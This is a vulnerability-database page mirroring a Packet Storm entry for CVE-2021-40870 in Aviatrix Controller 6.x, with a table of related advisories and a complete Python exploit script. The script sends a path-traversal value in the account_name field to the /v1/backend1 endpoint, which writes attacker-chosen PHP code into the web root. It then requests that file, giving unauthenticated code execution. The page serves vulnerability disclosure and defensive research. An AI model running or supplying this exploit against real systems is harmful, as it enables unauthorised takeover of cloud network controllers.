Aviatrix Controller 6.x Path Traversal / Code Execution
ποΈΒ 11 Oct 2021Β 00:00:00Reported byΒ 0xJoyGhoshTypeΒ
Β packetstormπΒ packetstormsecurity.comπΒ 507Β Views
| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
| Aviatrix Controller 6.x Path Traversal / Code Execution Exploit | 12 Oct 202100:00 | β | zdt | |
| Exploit for Relative Path Traversal in Aviatrix Controller | 7 Oct 202117:19 | β | githubexploit | |
| Exploit for Relative Path Traversal in Aviatrix Controller | 22 Oct 202108:41 | β | githubexploit | |
| CVE-2021-40870 | 13 Sep 202100:00 | β | attackerkb | |
| Aviatrix Controller Unrestricted Upload of File (CVE-2021-40870) | 29 Oct 202500:00 | β | nessus | |
| Aviatrix Controller Code Execution | 1 Mar 202300:00 | β | bdu_fstec | |
| CVE-2021-40870 | 9 Oct 202114:57 | β | circl | |
| Aviatrix Controller Unrestricted Upload of File | 18 Jan 202200:00 | β | cisa_kev | |
| CISA Adds 13 Known Exploited Vulnerabilities to Catalog | 18 Jan 202200:00 | β | cisa | |
| Aviatrix Controller code-related vulnerabilities | 13 Sep 202100:00 | β | cnnvd |
10
`#!/usr/bin/env python3
import requests
from requests.structures import CaseInsensitiveDict
from colorama import Fore, Style
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print(f"""
βββββ ββββββ βββββ ββ βββ ββββ βββ βββ ββ βββββ ββββ ββββ ββββ ββββ
βββββ ββββββ βββββ ββ βββ ββββ βββ βββ ββ βββββ ββββ ββββ ββββ ββββ
βββββ ββββββ βββββ ββ βββ ββββ βββ βββ ββ βββββ ββββ ββββ ββββ ββββ
Author : 0xJoyGhosh
Org : System00 Security
Twitter: @0xjoyghosh
""")
try:
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Enter Target Url With scheme Ex: -u https://avaitix.target.com", type=str)
parser.add_argument("-c", "--code", help="Enter php code Ex: -c '<?php phpinfo(); ?>' ", type=str)
parser.add_argument("-n", "--name", help="Enter php code Ex: -n 'filename' ", type=str)
args = parser.parse_args()
url =f"{args.url}/v1/backend1"
except TypeError:
print("Type -h To See all the options")
except():
exit()
def exploit(url,path,code):
headers = CaseInsensitiveDict()
headers["Content-Type"] = "application/x-www-form-urlencoded"
data = f'CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{path}.php&data={code}'
resp = requests.post(url, headers=headers, data=data,verify=False)
stat = requests.get(f"{args.url}/v1/{path}",verify=False)
if resp.status_code==200:
if stat.status_code==200:
print(f"[ {Fore.RED} Exploited {Fore.BLACK}] [{Fore.GREEN}{args.url}/v1/{path}{Fore.BLACK} ]")
print("")
else:
print("[ Exploit successful Creating File Failed ]")
pass
else:
print(f'[{Fore.BLUE} Exploit Unsuccessful {Fore.BLUE}]')
if args.url is not None:
if args.code is not None:
if args.name is not None:
exploit(url,args.name,args.code)
else:
print('Type -h to see help Menu')
else:
print('Type -h to see help Menu')
else:
print('Type -h to see help Menu')
`
Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Oct 2021 00:00Current
1.2Low risk
Vulners AI Score1.2
EPSS0.93019